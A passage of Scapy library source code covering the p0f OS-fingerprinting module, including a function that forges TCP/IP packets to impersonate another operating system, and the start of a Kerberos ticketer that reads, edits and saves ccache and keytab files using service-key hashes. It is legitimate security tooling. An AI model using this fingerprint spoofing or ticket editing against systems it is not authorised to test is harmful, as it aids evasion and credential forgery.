'*')\n    # '*' has a special meaning for ss\n    d += x[3] == y[3]\n    xopt = x[4].split(\",\")\n    yopt = y[4].split(\",\")\n    if len(xopt) == len(yopt):\n        same = True\n        for i in range(len(xopt)):\n            if not (xopt[i] == yopt[i] or\n                    (len(yopt[i]) == 2 and len(xopt[i]) > 1 and\n                     yopt[i][1] == \"*\" and xopt[i][0] == yopt[i][0]) or\n                    (len(yopt[i]) > 2 and len(xopt[i]) > 1 and\n                     yopt[i][1] == \"%\" and xopt[i][0] == yopt[i][0] and\n                     int(xopt[i][1:]) % int(yopt[i][2:]) == 0)):\n                same = False\n                break\n        if same:\n            d += len(xopt)\n    return d\n\n\n@conf.commands.register\ndef p0f(pkt):\n    \"\"\"Passive OS fingerprinting: which OS emitted this TCP packet ?\np0f(packet) -> accuracy, [list of guesses]\n\"\"\"\n    db, sig = packet2p0f(pkt)\n    if db:\n        pb = db.get_base()\n    else:\n        pb = []\n    if not pb:\n        warning(\"p0f base empty.\")\n        return []\n    # s = len(pb[0][0])\n    r = []\n    max = len(sig[4].split(\",\")) + 5\n    for b in pb:\n        d = p0f_correl(sig, b)\n        if d == max:\n            r.append((b[6], b[7], b[1] - pkt[IP].ttl))\n    return r\n\n\ndef prnp0f(pkt):\n    \"\"\"Calls p0f and returns a user-friendly output\"\"\"\n    # we should print which DB we use\n    try:\n        r = p0f(pkt)\n    except Exception:\n        return\n    if r == []:\n        r = (\"UNKNOWN\", \"[\" + \":\".join(map(str, packet2p0f(pkt)[1])) + \":?:?]\", None)  # noqa: E501\n    else:\n        r = r[0]\n    uptime = None\n    try:\n        uptime = pkt2uptime(pkt)\n    except Exception:\n        pass\n    if uptime == 0:\n        uptime = None\n    res = pkt.sprintf(\"%IP.src%:%TCP.sport% - \" + r[0] + \" \" + r[1])\n    if uptime is not None:\n        res += pkt.sprintf(\" (up: \" + str(uptime / 3600) + \" hrs)\\n  -> %IP.dst%:%TCP.dport% (%TCP.flags%)\")  # noqa: E501\n    else:\n        res += pkt.sprintf(\"\\n  -> %IP.dst%:%TCP.dport% (%TCP.flags%)\")\n    if r[2] is not None:\n        res += \" (distance \" + str(r[2]) + \")\"\n    print(res)\n\n\n@conf.commands.register\ndef pkt2uptime(pkt, HZ=100):\n    \"\"\"Calculate the date the machine which emitted the packet booted using TCP timestamp  # noqa: E501\npkt2uptime(pkt, [HZ=100])\"\"\"\n    if not isinstance(pkt, Packet):\n        raise TypeError(\"Not a TCP packet\")\n    if isinstance(pkt, NoPayload):\n        raise TypeError(\"Not a TCP packet\")\n    if not isinstance(pkt, TCP):\n        return pkt2uptime(pkt.payload)\n    for opt in pkt.options:\n        if opt[0] == \"Timestamp\":\n            # t = pkt.time - opt[1][0] * 1.0/HZ\n            # return time.ctime(t)\n            t = opt[1][0] / HZ\n            return t\n    raise TypeError(\"No timestamp option\")\n\n\ndef p0f_impersonate(pkt, osgenre=None, osdetails=None, signature=None,\n                    extrahops=0, mtu=1500, uptime=None):\n    \"\"\"Modifies pkt so that p0f will think it has been sent by a\nspecific OS.  If osdetails is None, then we randomly pick up a\npersonality matching osgenre. If osgenre and signature are also None,\nwe use a local signature (using p0f_getlocalsigs). If signature is\nspecified (as a tuple), we use the signature.\n\nFor now, only TCP Syn packets are supported.\nSome specifications of the p0f.fp file are not (yet) implemented.\"\"\"\n    pkt = pkt.copy()\n    # pkt = pkt.__class__(raw(pkt))\n    while pkt.haslayer(IP) and pkt.haslayer(TCP):\n        pkt = pkt.getlayer(IP)\n        if isinstance(pkt.payload, TCP):\n            break\n        pkt = pkt.payload\n\n    if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP):\n        raise TypeError(\"Not a TCP/IP packet\")\n\n    db = p0f_selectdb(pkt.payload.flags)\n    if osgenre:\n        pb = db.get_base()\n        if pb is None:\n            pb = []\n        pb = [x for x in pb if x[6] == osgenre]\n        if osdetails:\n            pb = [x for x in pb if x[7] == osdetails]\n    elif signature:\n        pb = [signature]\n    else:\n        pb = p0f_getlocalsigs()[db]\n    if db == p0fr_kdb:\n        # 'K' quirk <=> RST+ACK\n        if pkt.payload.flags & 0x4 == 0x4:\n            pb = [x for x in pb if 'K' in x[5]]\n        else:\n            pb = [x for x in pb if 'K' not in x[5]]\n    if not pb:\n        raise Scapy_Exception(\"No match in the p0f database\")\n    pers = pb[random.randint(0, len(pb) - 1)]\n\n    # options (we start with options because of MSS)\n    # Take the options already set as \"hints\" to use in the new packet if we\n    # can. MSS, WScale and Timestamp can all be wildcarded in a signature, so\n    # we'll use the already-set values if they're valid integers.\n    orig_opts = dict(pkt.payload.options)\n    int_only = lambda val: val if isinstance(val, int) else None\n    mss_hint = int_only(orig_opts.get('MSS'))\n    wscale_hint = int_only(orig_opts.get('WScale'))\n    ts_hint = [int_only(o) for o in orig_opts.get('Timestamp', (None, None))]\n\n    options = []\n    if pers[4] != '.':\n        for opt in pers[4].split(','):\n            if opt[0] == 'M':\n                # MSS might have a maximum size because of window size\n                # specification\n                if pers[0][0] == 'S':\n                    maxmss = (2**16 - 1) // int(pers[0][1:])\n                else:\n                    maxmss = (2**16 - 1)\n                # disregard hint if out of range\n                if mss_hint and not 0 <= mss_hint <= maxmss:\n                    mss_hint = None\n                # If we have to randomly pick up a value, we cannot use\n                # scapy RandXXX() functions, because the value has to be\n                # set in case we need it for the window size value. That's\n                # why we use random.randint()\n                if opt[1:] == '*':\n                    if mss_hint is not None:\n                        options.append(('MSS', mss_hint))\n                    else:\n                        options.append(('MSS', random.randint(1, maxmss)))\n                elif opt[1] == '%':\n                    coef = int(opt[2:])\n                    if mss_hint is not None and mss_hint % coef == 0:\n                        options.append(('MSS', mss_hint))\n                    else:\n                        options.append((\n                            'MSS', coef * random.randint(1, maxmss // coef)))\n                else:\n                    options.append(('MSS', int(opt[1:])))\n            elif opt[0] == 'W':\n                if wscale_hint and not 0 <= wscale_hint < 2**8:\n                    wscale_hint = None\n                if opt[1:] == '*':\n                    if wscale_hint is not None:\n                        options.append(('WScale', wscale_hint))\n                    else:\n                        options.append(('WScale', RandByte()))\n                elif opt[1] == '%':\n                    coef = int(opt[2:])\n                    if wscale_hint is not None and wscale_hint % coef == 0:\n                        options.append(('WScale', wscale_hint))\n                    else:\n                        options.append((\n                            'WScale', coef * RandNum(min=1, max=(2**8 - 1) // coef)))  # noqa: E501\n                else:\n                    options.append(('WScale', int(opt[1:])))\n            elif opt == 'T0':\n                options.append(('Timestamp', (0, 0)))\n            elif opt == 'T':\n                # Determine first timestamp.\n                if uptime is not None:\n                    ts_a = uptime\n                elif ts_hint[0] and 0 < ts_hint[0] < 2**32:\n                    # Note: if first ts is 0, p0f registers it as \"T0\" not \"T\",\n                    # hence we don't want to use the hint if it was 0.\n                    ts_a = ts_hint[0]\n                else:\n                    ts_a = random.randint(120, 100 * 60 * 60 * 24 * 365)\n                # Determine second timestamp.\n                if 'T' not in pers[5]:\n                    ts_b = 0\n                elif ts_hint[1] and 0 < ts_hint[1] < 2**32:\n                    ts_b = ts_hint[1]\n                else:\n                    # FIXME: RandInt() here does not work (bug (?) in\n                    # TCPOptionsField.m2i often raises \"OverflowError:\n                    # long int too large to convert to int\" in:\n                    #    oval = struct.pack(ofmt, *oval)\"\n                    # Actually, this is enough to often raise the error:\n                    #    struct.pack('I', RandInt())\n                    ts_b = random.randint(1, 2**32 - 1)\n                options.append(('Timestamp', (ts_a, ts_b)))\n            elif opt == 'S':\n                options.append(('SAckOK', ''))\n            elif opt == 'N':\n                options.append(('NOP', None))\n            elif opt == 'E':\n                options.append(('EOL', None))\n            elif opt[0] == '?':\n                if int(opt[1:]) in TCPOptions[0]:\n                    optname = TCPOptions[0][int(opt[1:])][0]\n                    optstruct = TCPOptions[0][int(opt[1:])][1]\n                    options.append((optname,\n                                    struct.unpack(optstruct,\n                                                  RandString(struct.calcsize(optstruct))._fix())))  # noqa: E501\n                else:\n                    options.append((int(opt[1:]), ''))\n            # FIXME: qqP not handled\n            else:\n                warning(\"unhandled TCP option %s\", opt)\n            pkt.payload.options = options\n\n    # window size\n    if pers[0] == '*':\n        pkt.payload.window = RandShort()\n    elif pers[0].isdigit():\n        pkt.payload.window = int(pers[0])\n    elif pers[0][0] == '%':\n        coef = int(pers[0][1:])\n        pkt.payload.window = coef * RandNum(min=1, max=(2**16 - 1) // coef)\n    elif pers[0][0] == 'T':\n        pkt.payload.window = mtu * int(pers[0][1:])\n    elif pers[0][0] == 'S':\n        # needs MSS set\n        mss = [x for x in options if x[0] == 'MSS']\n        if not mss:\n            raise Scapy_Exception(\"TCP window value requires MSS, and MSS option not set\")  # noqa: E501\n        pkt.payload.window = mss[0][1] * int(pers[0][1:])\n    else:\n        raise Scapy_Exception('Unhandled window size specification')\n\n    # ttl\n    pkt.ttl = pers[1] - extrahops\n    # DF flag\n    pkt.flags |= (2 * pers[2])\n    # FIXME: ss (packet size) not handled (how ? may be with D quirk\n    # if present)\n    # Quirks\n    if pers[5] != '.':\n        for qq in pers[5]:\n            # FIXME: not handled: P, I, X, !\n            # T handled with the Timestamp option\n            if qq == 'Z':\n                pkt.id = 0\n            elif qq == 'U':\n                pkt.payload.urgptr = RandShort()\n            elif qq == 'A':\n                pkt.payload.ack = RandInt()\n            elif qq == 'F':\n                if db == p0fo_kdb:\n                    pkt.payload.flags |= 0x20  # U\n                else:\n                    pkt.payload.flags |= random.choice([8, 32, 40])  # P/U/PU\n            elif qq == 'D' and db != p0fo_kdb:\n                pkt /= conf.raw_layer(load=RandString(random.randint(1, 10)))  # XXX p0fo.fp  # noqa: E501\n            elif qq == 'Q':\n                pkt.payload.seq = pkt.payload.ack\n            # elif qq == '0': pkt.payload.seq = 0\n        # if db == p0fr_kdb:\n        # '0' quirk is actually not only for p0fr.fp (see\n        # packet2p0f())\n    if '0' in pers[5]:\n        pkt.payload.seq = 0\n    elif pkt.payload.seq == 0:\n        pkt.payload.seq = RandInt()\n\n    while pkt.underlayer:\n        pkt = pkt.underlayer\n    return pkt\n\n\ndef p0f_getlocalsigs():\n    \"\"\"This function returns a dictionary of signatures indexed by p0f\ndb (e.g., p0f_kdb, p0fa_kdb, ...) for the local TCP/IP stack.\n\nYou need to have your firewall at least accepting the TCP packets\nfrom/to a high port (30000 <= x <= 40000) on your loopback interface.\n\nPlease note that the generated signatures come from the loopback\ninterface and may (are likely to) be different than those generated on\n\"normal\" interfaces.\"\"\"\n    pid = os.fork()\n    port = random.randint(30000, 40000)\n    if pid > 0:\n        # parent: sniff\n        result = {}\n\n        def addresult(res):\n            # TODO: wildcard window size in some cases? and maybe some\n            # other values?\n            if res[0] not in result:\n                result[res[0]] = [res[1]]\n            else:\n                if res[1] not in result[res[0]]:\n                    result[res[0]].append(res[1])\n        # XXX could we try with a \"normal\" interface using other hosts\n        iface = conf.route.route('127.0.0.1')[0]\n        # each packet is seen twice: S + RA, S + SA + A + FA + A\n        # XXX are the packets also seen twice on non Linux systems ?\n        count = 14\n        pl = sniff(iface=iface, filter='tcp and port ' + str(port), count=count, timeout=3)  # noqa: E501\n        for pkt in pl:\n            for elt in packet2p0f(pkt):\n                addresult(elt)\n        os.waitpid(pid, 0)\n    elif pid < 0:\n        log_runtime.error(\"fork error\")\n    else:\n        # child: send\n        # XXX erk\n        time.sleep(1)\n        s1 = socket.socket(socket.AF_INET, type=socket.SOCK_STREAM)\n        # S & RA\n        try:\n            s1.connect(('127.0.0.1', port))\n        except socket.error:\n            pass\n        # S, SA, A, FA, A\n        s1.bind(('127.0.0.1', port))\n        s1.connect(('127.0.0.1', port))\n        # howto: get an RST w/o ACK packet\n        s1.close()\n        os._exit(0)\n    return result\n"
  },
  {
    "path": "scapy/modules/ticketer.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later OR MPL-2.0\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n# flake8: noqa\n\n\"\"\"\nCreate/Edit Kerberos ticket using Scapy\n\nSee https://scapy.readthedocs.io/en/latest/layers/kerberos.html\n\"\"\"\n\nfrom datetime import datetime, timedelta, timezone\n\nimport collections\nimport enum\nimport platform\nimport random\nimport re\nimport struct\n\nfrom scapy.asn1.asn1 import (\n    ASN1_BIT_STRING,\n    ASN1_GENERAL_STRING,\n    ASN1_GENERALIZED_TIME,\n    ASN1_INTEGER,\n    ASN1_STRING,\n)\nfrom scapy.compat import bytes_hex, hex_bytes\nfrom scapy.config import conf\nfrom scapy.error import log_interactive\nfrom scapy.fields import (\n    ByteField,\n    ConditionalField,\n    FieldLenField,\n    FlagsField,\n    IntEnumField,\n    IntField,\n    MayEnd,\n    PacketField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    StrLenField,\n    UTCTimeField,\n)\nfrom scapy.packet import Packet\nfrom scapy.utils import pretty_list\n\nfrom scapy.layers.dcerpc import NDRUnion\nfrom scapy.layers.kerberos import (\n    AuthorizationData,\n    AuthorizationDataItem,\n    EncTicketPart,\n    EncryptedData,\n    EncryptionKey,\n    KRB_Ticket,\n    KerberosClient,\n    KerberosSSP,\n    PrincipalName,\n    TransitedEncoding,\n    _ADDR_TYPES,\n    _AD_TYPES,\n    _KRB_E_TYPES,\n    _KRB_S_TYPES,\n    _PRINCIPAL_NAME_TYPES,\n    _TICKET_FLAGS,\n    _parse_spn,\n    _parse_upn,\n    kpasswd,\n    krb_as_req,\n    krb_get_salt,\n    krb_tgs_req,\n)\nfrom scapy.layers.msrpce.mspac import (\n    CLAIM_ENTRY,\n    CLAIMS_ARRAY,\n    CLAIMS_SET,\n    CLAIMS_SET_METADATA,\n    CYPHER_BLOCK,\n    FILETIME,\n    GROUP_MEMBERSHIP,\n    KERB_SID_AND_ATTRIBUTES,\n    KERB_VALIDATION_INFO,\n    PAC_ATTRIBUTES_INFO,\n    PAC_CLIENT_CLAIMS_INFO,\n    PAC_CLIENT_INFO,\n    PAC_INFO_BUFFER,\n    PAC_INFO_BUFFER,\n    PAC_REQUESTOR_SID,\n    PAC_SIGNATURE_DATA,\n    PACTYPE,\n    RPC_SID_IDENTIFIER_AUTHORITY,\n    RPC_UNICODE_STRING,\n    SID,\n    UPN_DNS_INFO,\n    USER_SESSION_KEY,\n    CLAIM_ENTRY_sub2,\n)\nfrom scapy.layers.windows.security import (\n    WINNT_SID,\n    WINNT_SID_IDENTIFIER_AUTHORITY,\n)\n\nfrom scapy.libs.rfc3961 import EncryptionType, Key, _checksums\n\ntry:\n    import tkinter as tk\n    import tkinter.simpledialog as tksd\n    from tkinter import ttk\nexcept ImportError:\n    tk = None\n\n# CCache\n# https://web.mit.edu/kerberos/krb5-latest/doc/formats/ccache_file_format.html (official doc but garbage)\n# https://josefsson.org/shishi/ccache.txt (much better)\n\n\nclass CCCountedOctetString(Packet):\n    fields_desc = [\n        FieldLenField(\"length\", None, length_of=\"data\", fmt=\"I\"),\n        StrLenField(\"data\", b\"\", length_from=lambda pkt: pkt.length),\n    ]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass CCPrincipal(Packet):\n    fields_desc = [\n        IntEnumField(\"name_type\", 0, _PRINCIPAL_NAME_TYPES),\n        FieldLenField(\"num_components\", None, count_of=\"components\", fmt=\"I\"),\n        PacketField(\"realm\", CCCountedOctetString(), CCCountedOctetString),\n        PacketListField(\n            \"components\",\n            [],\n            CCCountedOctetString,\n            count_from=lambda pkt: pkt.num_components,\n        ),\n    ]\n\n    def toPN(self):\n        return \"%s@%s\" % (\n            \"/\".join(x.data.decode() for x in self.components),\n            self.realm.data.decode(),\n        )\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass CCDeltaTime(Packet):\n    fields_desc = [\n        IntField(\"time_offset\", 0),\n        IntField(\"usec_offset\", 0),\n    ]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass CCHeader(Packet):\n    fields_desc = [\n        ShortEnumField(\"tag\", 1, {1: \"DeltaTime\"}),\n        ShortField(\"taglen\", 8),\n        PacketField(\"tagdata\", CCDeltaTime(), CCDeltaTime),\n    ]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass CCKeyBlock(Packet):\n    fields_desc = [\n        ShortEnumField(\"keytype\", 0, _KRB_E_TYPES),\n        ShortField(\"etype\", 0),\n        FieldLenField(\"keylen\", None, length_of=\"keyvalue\"),\n        StrLenField(\"keyvalue\", b\"\", length_from=lambda pkt: pkt.keylen),\n    ]\n\n    def toKey(self):\n        return Key(self.keytype, key=self.keyvalue)\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass CCAddress(Packet):\n    fields_desc = [\n        ShortEnumField(\"addrtype\", 0, _ADDR_TYPES),\n        PacketField(\"address\", CCCountedOctetString(), CCCountedOctetString),\n    ]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass CCAuthData(Packet):\n    fields_desc = [\n        ShortEnumField(\"authtype\", 0, _AD_TYPES),\n        PacketField(\"authdata\", CCCountedOctetString(), CCCountedOctetString),\n    ]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass CCCredential(Packet):\n    fields_desc = [\n        PacketField(\"client\", CCPrincipal(), CCPrincipal),\n        PacketField(\"server\", CCPrincipal(), CCPrincipal),\n        PacketField(\"keyblock\", CCKeyBlock(), CCKeyBlock),\n        UTCTimeField(\"authtime\", None),\n        UTCTimeField(\"starttime\", None),\n        UTCTimeField(\"endtime\", None),\n        UTCTimeField(\"renew_till\", None),\n        ByteField(\"is_skey\", 0),\n        FlagsField(\n            \"ticket_flags\",\n            0,\n            32,\n            # stored in reversed byte order (wtf)\n            (_TICKET_FLAGS + [\"\"] * (32 - len(_TICKET_FLAGS)))[::-1],\n        ),\n        FieldLenField(\"num_address\", None, count_of=\"addrs\", fmt=\"I\"),\n        PacketListField(\"addrs\", [], CCAddress, count_from=lambda pkt: pkt.num_address),\n        FieldLenField(\"num_authdata\", None, count_of=\"authdata\", fmt=\"I\"),\n        PacketListField(\n            \"authdata\", [], CCAuthData, count_from=lambda pkt: pkt.num_authdata\n        ),\n        PacketField(\"ticket\", CCCountedOctetString(), CCCountedOctetString),\n        PacketField(\"second_ticket\", CCCountedOctetString(), CCCountedOctetString),\n    ]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n    def set_from_krb(self, tkt, clientpart, sessionkey, kdcrep):\n        self.ticket.data = bytes(tkt)\n\n        # Set sname\n        self.server.name_type = tkt.sname.nameType.val\n        self.server.realm = CCCountedOctetString(data=tkt.realm.val)\n        self.server.components = [\n            CCCountedOctetString(data=x.val) for x in tkt.sname.nameString\n        ]\n\n        # Set cname\n        self.client.name_type = clientpart.cname.nameType.val\n        self.client.realm = CCCountedOctetString(data=clientpart.crealm.val)\n        self.client.components = [\n            CCCountedOctetString(data=x.val) for x in clientpart.cname.nameString\n        ]\n\n        # Set the sessionkey\n        self.keyblock = CCKeyBlock(\n            keytype=sessionkey.etype,\n            keyvalue=sessionkey.key,\n        )\n\n        # Set timestamps\n        self.authtime = kdcrep.authtime.datetime.timestamp()\n        if kdcrep.starttime is not None:\n            self.starttime = kdcrep.starttime.datetime.timestamp()\n        self.endtime = kdcrep.endtime.datetime.timestamp()\n        if kdcrep.flags.val[8] == \"1\":  # renewable\n            self.renew_till = kdcrep.renewTill.datetime.timestamp()\n\n        # Set flags\n        self.ticket_flags = int(kdcrep.flags.val, 2)\n\n    def is_xcacheconf(self):\n        return self.server.realm.data == b\"X-CACHECONF:\"\n\n\nclass CCache(Packet):\n    fields_desc = [\n        ShortField(\"file_format_version\", 0x0504),\n        ShortField(\"headerlen\", 0),\n        PacketListField(\"headers\", [], CCHeader, length_from=lambda pkt: pkt.headerlen),\n        PacketField(\"primary_principal\", CCPrincipal(), CCPrincipal),\n        PacketListField(\"credentials\", [], CCCredential),\n    ]\n\n\n# Keytab\n# https://web.mit.edu/kerberos/krb5-devel/doc/formats/keytab_file_format.html (official but garbage)\n# https://www.gnu.org/software/shishi/manual/html_node/The-Keytab-Binary-File-Format.html (great)\n\n\nclass KTCountedOctetString(Packet):\n    fields_desc = [\n        FieldLenField(\"length\", None, length_of=\"data\", fmt=\"H\"),\n        StrLenField(\"data\", b\"\", length_from=lambda pkt: pkt.length),\n    ]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass KTKeyBlock(Packet):\n    fields_desc = [\n        ShortEnumField(\"keytype\", 0, _KRB_E_TYPES),\n        FieldLenField(\"keylen\", None, length_of=\"keyvalue\"),\n        StrLenField(\"keyvalue\", b\"\", length_from=lambda pkt: pkt.keylen),\n    ]\n\n    def toKey(self):\n        return Key(self.keytype, key=self.keyvalue)\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass KeytabEntry(Packet):\n    fields_desc = [\n        IntField(\"size\", None),\n        FieldLenField(\"num_components\", None, count_of=\"components\"),\n        PacketField(\"realm\", KTCountedOctetString(), KTCountedOctetString),\n        PacketListField(\n            \"components\",\n            [],\n            KTCountedOctetString,\n            count_from=lambda pkt: pkt.num_components,\n        ),\n        ConditionalField(\n            IntField(\"name_type\", 0),\n            lambda pkt: pkt.parent.file_format_version != 0x501,\n        ),\n        UTCTimeField(\"timestamp\", None),\n        ByteField(\"vno8\", 0),\n        MayEnd(PacketField(\"key\", KTKeyBlock(), KTKeyBlock)),\n        ConditionalField(\n            IntField(\"vno\", None),\n            lambda pkt: pkt.fields.get(\"vno\", None) or pkt.original,\n        ),\n    ]\n\n    def getPrincipal(self):\n        comp = \"/\".join(x.data.decode() for x in self.components)\n        if self.realm.data:\n            return \"%s@%s\" % (\n                comp,\n                self.realm.data.decode(),\n            )\n        else:\n            return comp\n\n    @property\n    def versionNumber(self):\n        if self.vno is not None:\n            return self.vno\n        return self.vno8\n\n    def post_build(self, p, pay):\n        # type: (bytes, bytes) -> bytes\n        if self.size is None:\n            p = struct.pack(\"!I\", len(p)) + p[4:]\n        return p + pay\n\n    def extract_padding(self, s):\n        # type: (bytes) -> Tuple[bytes, bytes]\n        rem = self.size - len(self.original)\n        return s[:rem], s[rem:]\n\n\nclass Keytab(Packet):\n    fields_desc = [\n        ShortField(\"file_format_version\", 0x502),\n        PacketListField(\"entries\", [], KeytabEntry),\n    ]\n\n\n# TK scrollFrame (MPL-2.0)\n# Credits to @mp035\n# https://gist.github.com/mp035/9f2027c3ef9172264532fcd6262f3b01\n\nif tk is not None:\n\n    class ScrollFrame(tk.Frame):\n        def __init__(self, parent):\n            super().__init__(parent)\n\n            self.canvas = tk.Canvas(self, borderwidth=0)\n            self.viewPort = ttk.Frame(self.canvas)\n            self.vsb = tk.Scrollbar(self, orient=\"vertical\", command=self.canvas.yview)\n            self.canvas.configure(yscrollcommand=self.vsb.set)\n\n            self.vsb.pack(side=\"right\", fill=\"y\")\n            self.canvas.pack(side=\"left\", fill=\"both\", expand=True)\n            self.canvas_window = self.canvas.create_window(\n                (4, 4), window=self.viewPort, anchor=\"nw\", tags=\"self.viewPort\"\n            )\n\n            self.viewPort.bind(\"<Configure>\", self.onFrameConfigure)\n            self.canvas.bind(\"<Configure>\", self.onCanvasConfigure)\n\n            self.viewPort.bind(\"<Enter>\", self.onEnter)\n            self.viewPort.bind(\"<Leave>\", self.onLeave)\n\n            self.onFrameConfigure(None)\n\n        def onFrameConfigure(self, event):\n            \"\"\"Reset the scroll region to encompass the inner frame\"\"\"\n            self.canvas.configure(scrollregion=self.canvas.bbox(\"all\"))\n\n        def onCanvasConfigure(self, event):\n            \"\"\"Reset the canvas window to encompass inner frame when required\"\"\"\n            canvas_width = event.width\n            self.canvas.itemconfig(self.canvas_window, width=canvas_width)\n\n        def onMouseWheel(self, event):\n            if platform.system() == \"Windows\":\n                self.canvas.yview_scroll(int(-1 * (event.delta / 120)), \"units\")\n            elif platform.system() == \"Darwin\":\n                self.canvas.yview_scroll(int(-1 * event.delta), \"units\")\n            else:\n                if event.num == 4:\n                    self.canvas.yview_scroll(-1, \"units\")\n                elif event.num == 5:\n                    self.canvas.yview_scroll(1, \"units\")\n\n        def onEnter(self, event):\n            if platform.system() == \"Linux\":\n                self.canvas.bind_all(\"<Button-4>\", self.onMouseWheel)\n                self.canvas.bind_all(\"<Button-5>\", self.onMouseWheel)\n            else:\n                self.canvas.bind_all(\"<MouseWheel>\", self.onMouseWheel)\n\n        def onLeave(self, event):\n            if platform.system() == \"Linux\":\n                self.canvas.unbind_all(\"<Button-4>\")\n                self.canvas.unbind_all(\"<Button-5>\")\n            else:\n                self.canvas.unbind_all(\"<MouseWheel>\")\n\n\n# Build ticketer\n\n\nclass Ticketer:\n    def __init__(self):\n        self._data = collections.defaultdict(dict)\n        self.ccache_fname = None\n        self.ccache = CCache()\n        self.keytab_fname = None\n        self.keytab = Keytab()\n        self.hashes_cache = collections.defaultdict(dict)\n\n    def open_ccache(self, fname):\n        \"\"\"\n        Load from CCache file\n        \"\"\"\n        self.ccache_fname = fname\n        self.hashes_cache = collections.defaultdict(dict)\n        with open(self.ccache_fname, \"rb\") as fd:\n            self.ccache = CCache(fd.read())\n\n    def open_keytab(self, fname):\n        \"\"\"\n        Load from Keytab file\n        \"\"\"\n        self.keytab_fname = fname\n        with open(self.keytab_fname, \"rb\") as fd:\n            self.keytab = Keytab(fd.read())\n\n    def save_ccache(self, fname=None, i=None):\n        \"\"\"\n        Save ccache into file\n\n        :param fname: if provided, save to a specific file.\n        :param i: if provided, only save the ticket n°i.\n        \"\"\"\n        if fname:\n            self.ccache_fname = fname\n        if not self.ccache_fname:\n            raise ValueError(\"No file opened. Specify the 'fname' argument !\")\n\n        # If i is specified, extract single ticket.\n        if i is not None:\n            ccache = self.ccache.copy()\n            ccache.credentials = [ccache.credentials[i]]\n        else:\n            ccache = self.ccache\n\n        # Write\n        with open(self.ccache_fname, \"wb\") as fd:\n            return fd.write(bytes(ccache))\n\n    def save_keytab(self, fname=None):\n        \"\"\"\n        Save keytab into file\n\n        :param fname: if provided, save to a specific file.\n        \"\"\"\n        if fname:\n            self.keytab_fname = fname\n        if not self.keytab_fname:\n            raise ValueError(\"No file opened. Specify the 'fname' argument !\")\n\n        # Write\n        with open(self.keytab_fname, \"wb\") as fd:\n            return fd.write(bytes(self.keytab))\n\n    def show(self, utc=False):\n        \"\"\"\n        Show the content of a CCache\n        \"\"\"\n\n        def _to_str(x):\n            if x is None:\n                return \"None\"\n            else:\n                x = datetime.fromtimestamp(x, tz=timezone.utc if utc else None)\n            return x.strftime(\"%d/%m/%y %H:%M:%S\")\n\n        # Show Keytab\n        if self.keytab.entries:\n            print(\"Keytab name: %s\" % (self.keytab_fname or \"UNSAVED\"))\n            print(\n                pretty_list(\n                    [\n                        (\n                            entry.getPrincipal(),\n                            _to_str(entry.timestamp),\n                            str(entry.versionNumber),\n                            entry.key.sprintf(\"%keytype%\"),\n                        )\n                        for entry in self.keytab.entries\n                    ],\n                    [(\"Principal\", \"Timestamp\", \"KVNO\", \"Keytype\")],\n                )\n            )\n            print()\n\n        # Show CCache\n        if not self.ccache.credentials:\n            print(\"No tickets in CCache.\")\n            return\n        else:\n            if self.ccache.primary_principal.components:\n                print(\"Default principal: %s\\n\" % self.ccache.primary_principal.toPN())\n\n            print(\"CCache tickets:\")\n\n        # 1. Read configuration entries\n        configuration = collections.defaultdict(dict)\n        for cred in self.ccache.credentials:\n            if not cred.is_xcacheconf():\n                # Skip non-configuration entries\n                continue\n\n            if (\n                len(cred.server.components) not in [2, 3]\n                or cred.server.components[0].data != b\"krb5_ccache_conf_data\"\n            ):\n                print(\"Skipping invalid X-CACHECONF !\")\n                continue\n\n            # Get all the values from this weird format\n            cname = cred.client.toPN()\n            key = cred.server.components[1].data.decode()\n            if len(cred.server.components) == 3:\n                sname = cred.server.components[2].data.decode()\n            else:\n                sname = None\n            value = cred.ticket.data.decode()\n\n            # Store for this cname -> sname, the following 'key' setting.\n            configuration[(cname, sname)][key] = value\n\n        # 2. Read credentials\n        for i, cred in enumerate(self.ccache.credentials):\n            if cred.is_xcacheconf():\n                # Skip configuration entries\n                continue\n\n            # Get client and server principals\n            cname = cred.client.toPN()\n            sname = cred.server.toPN()\n\n            print(\n                \"%s. %s -> %s\"\n                % (\n                    i,\n                    cname,\n                    sname,\n                )\n            )\n            print(cred.sprintf(\"   %ticket_flags%\"))\n            # If configuration entries match, show the settings here\n            print(\n                \"   \"\n                + \" \".join(\n                    \"%s=%s\" % (key, value)\n                    for _sname in [sname, None]\n                    for key, value in configuration[(cname, _sname)].items()\n                    if (cname, _sname) in configuration\n                )\n            )\n            print(\n                pretty_list(\n                    [\n                        (\n                            _to_str(cred.starttime),\n                            _to_str(cred.endtime),\n                            _to_str(cred.renew_till),\n                            _to_str(cred.authtime),\n                        )\n                    ],\n                    [(\"Start time\", \"End time\", \"Renew until\", \"Auth time\")],\n                )\n            )\n            print()\n\n    def _prompt(self, msg):\n        try:\n            from prompt_toolkit import prompt\n\n            return prompt(msg)\n        except ImportError:\n            return input(msg)\n\n    def _prompt_hash(self, spn, etype=None, cksumtype=None, hash=None):\n        if etype:\n            hashtype = _KRB_E_TYPES[etype]\n        elif cksumtype:\n            hashtype = _KRB_S_TYPES[cksumtype]\n        else:\n            raise ValueError(\"No cksumtype nor etype specified\")\n        if not hash:\n            if spn in self.hashes_cache and hashtype in self.hashes_cache[spn]:\n                hash = self.hashes_cache[spn][hashtype]\n            else:\n                msg = \"Enter the %s hash for %s (as hex): \" % (hashtype, spn)\n                hash = hex_bytes(self._prompt(msg))\n                if (\n                    hash\n                    == b\"\\xaa\\xd3\\xb45\\xb5\\x14\\x04\\xee\\xaa\\xd3\\xb45\\xb5\\x14\\x04\\xee\"\n                ):\n                    log_interactive.warning(\n                        \"This hash is the LM 'no password' hash. Is that what you 